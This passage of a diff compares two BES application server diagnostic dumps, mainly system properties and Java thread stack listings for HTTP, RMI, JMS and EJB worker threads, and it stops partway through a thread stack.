client,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket
@@ -88,7 +88,7 @@ java.awt.headless: true
java.io.tmpdir: /tmp
java.vendor.url.bug: http://bugreport.sun.com/bugreport/
server.loader:
-os.arch: aarch64
+os.arch: amd64
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
bes.version: 9.5.5
com.bes.enterprise.embedder.source: ServerListener
@@ -110,24 +110,108 @@ java.specification.version: 1.8
===========================================
ThreadStacks:
-"Spark_2" #94 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
+"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[/sysapp]]" #83 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
+ at java.lang.Thread.run(Thread.java:750)
+
+"FlushManager" #53 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager.run(LogBufferManager.java:1230)
+
+"ReadWriteBlockThread-1" #18 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
+
+"GC Daemon" #16 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@3e0f54d9
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
- at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
- at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
+ at sun.misc.GC$Daemon.run(GC.java:117)
+
+"jmsra-WorkerThread-4" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1efc550f
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@13cb25b2
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
+
+"httpWorkerThread-8080-2" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
+ at java.lang.Thread.run(Thread.java:750)
-"LifecycleThread[com.bes.appserv]-1" #67 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6b5836e3
+"Stateful cache" #59 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73feb530
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
- at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].DefaultContext[/app]]" #101 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI Scheduler(0)" #97 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@fd6d26d
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"httpWorkerThread-1900-4" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec
+"AsyncLoggerDisruptor-1" #14 daemon [TIMED_WAITING] on java.lang.Object@457a9090
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:460)
+ at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150)
+ at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43)
+ at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56)
+ at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159)
+ at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
+ at java.lang.Thread.run(Thread.java:750)
+
+"httpWorkerThread-8080-3" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -141,15 +225,21 @@ ThreadStacks:
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
at java.lang.Thread.run(Thread.java:750)
-"AcceptorThread-8080-1" #85 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
- at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
- at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
- at com.bes.enterprise.web.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:504)
+"httpWorkerThread-1900-2" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e769106
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
at java.lang.Thread.run(Thread.java:750)
-"httpWorkerThread-8080-3" #75 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
+"httpWorkerThread-1900-3" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e769106
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -163,36 +253,81 @@ ThreadStacks:
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
at java.lang.Thread.run(Thread.java:750)
-"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[]]" #88 daemon [TIMED_WAITING]
+"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@6827fecd
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
+ at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
+
+"Common Lib Watcher" #15 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at java.lang.Thread.sleep(Native Method)
- at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
+ at com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:91)
+
+"RMI Reaper" #95 [WAITING] on java.lang.ref.ReferenceQueue$Lock@515b0c1e
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
at java.lang.Thread.run(Thread.java:750)
-"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].DefaultContext[/app]]" #107 daemon [TIMED_WAITING]
+"AsyncTimeoutThread-8080" #80 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at java.lang.Thread.sleep(Native Method)
- at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
+ at com.bes.enterprise.web.crane.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1169)
at java.lang.Thread.run(Thread.java:750)
-"ReadWriteBlockThread-1" #18 daemon [RUNNABLE]
+"Spark_7" #93 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
+ at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
+
+"Spark_6" #92 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
+ at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
+
+"Spark_1" #87 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
+ at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
+
+"Spark-Acceptor" #85 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
- at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
- at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
- at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
- at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
- at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at com.bes.ejb.spark.tcp.transport.AcceptorThread.a(AcceptorThread.java:274)
+ at com.bes.ejb.spark.tcp.transport.AcceptorThread.startEndpoint(AcceptorThread.java:423)
+ at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508)
-"Spark_0" #92 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f3ebe1f
+"Spark_4" #90 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
+ at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
+
+"jmsra-WorkerThread-1" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1efc550f
+ java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163)
- at com.bes.ejb.spark.tcp.threadpool.PreSelector.execute(PreSelector.java:120)
- at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:69)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
+ at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
+ at java.lang.Thread.run(Thread.java:750)
-"httpWorkerThread-1900-1" #69 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec
+"httpWorkerThread-8080-8" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -206,7 +341,39 @@ ThreadStacks:
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
at java.lang.Thread.run(Thread.java:750)
-"RMI TCP Connection(1)-192.168.215.4" #102 daemon [RUNNABLE]
+"Spark_0" #86 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1a90bf04
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163)
+ at com.bes.ejb.spark.tcp.threadpool.PreSelector.execute(PreSelector.java:120)
+ at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:69)
+
+"ReadWriteBlockThread-0" #17 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.bes.enterprise.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:296)
+
+"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@4d16eb0d
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:275)
+ at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:240)
+ at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:231)
+ at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+ at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+ at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+ at java.lang.reflect.Method.invoke(Method.java:498)
+ at com.bes.enterprise.appserver.startup.Bootstrap.start(Bootstrap.java:467)
+ at com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:598)
+ at com.bes.enterprise.startup.ASMain.main(ASMain.java:29)
+
+"RMI TCP Connection(1)-172.17.0.3" #96 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
@@ -218,14 +385,14 @@ ThreadStacks:
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/725479086.run(Unknown Source)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$24/1137156990.run(Unknown Source)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"jmsra-WorkerThread-4" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35
+"httpWorkerThread-8080-1" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -239,18 +406,13 @@ ThreadStacks:
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
at java.lang.Thread.run(Thread.java:750)
-"Spark_7" #99 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@6f67bfd7
+"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].DefaultContext[]]" #82 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
- at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
-
-"GC Daemon" #16 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@4e754aa3
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at sun.misc.GC$Daemon.run(GC.java:117)
+ at java.lang.Thread.sleep(Native Method)
+ at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
+ at java.lang.Thread.run(Thread.java:750)
-"httpWorkerThread-8080-4" #76 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
+"jmsra-WorkerThread-2" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1efc550f
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -264,41 +426,20 @@ ThreadStacks:
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
at java.lang.Thread.run(Thread.java:750)
-"RMI TCP Accept-6600" #100 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at java.net.PlainSocketImpl.socketAccept(Native Method)
- at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
- at java.net.ServerSocket.implAccept(ServerSocket.java:560)
- at java.net.ServerSocket.accept(ServerSocket.java:528)
- at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
- at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
- at java.lang.Thread.run(Thread.java:750)
-
-"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #68 daemon [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
- at java.lang.Thread.run(Thread.java:750)
-
-"AsyncLoggerDisruptor-1" #14 daemon [TIMED_WAITING] on java.lang.Object@2a2fdcad
+"RMI RenewClean-[172.17.0.3:6600]" #98 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@44a4354d
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
- at java.lang.Object.wait(Object.java:460)
- at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150)
- at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43)
- at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56)
- at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159)
- at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
at java.lang.Thread.run(Thread.java:750)
-"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@408b41b1
- java.lang.Thread.State: WAITING
+"Spark_5" #91 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@40b4e8b5
+ java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
- at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
+ at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
+ at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
-"httpWorkerThread-1900-3" #71 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e5ab5ec
+"jmsra-WorkerThread-3" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1efc550f
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -312,7 +453,7 @@ ThreadStacks:
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
at java.lang.Thread.run(Thread.java:750)
-"jmsra-WorkerThread-1" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@357b6c35
+"httpWorkerThread-1900-4" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e769106
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -326,24 +467,13 @@ ThreadStacks:
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
at java.lang.Thread.run(Thread.java:750)
-"Signal Dispatcher" #4 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
-
-"httpWorkerThread-8080-6" #78 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:99)
- at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:27)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
+"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #62 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.bes.enterprise.webtier.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1346)
at java.lang.Thread.run(Thread.java:750)
-"httpWorkerThread-8080-5" #77 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4df53971
+"httpWorkerThread-8080-6" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@37938687
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -357,22 +487,7 @@ ThreadStacks:
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:57)
at java.lang.Thread.run(Thread.java:750)
-"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@2e7f8751
- java.lang.Thread.State: WAITING
- at java.lang.Object.wait(Native Method)
- at java.lang.Object.wait(Object.java:502)
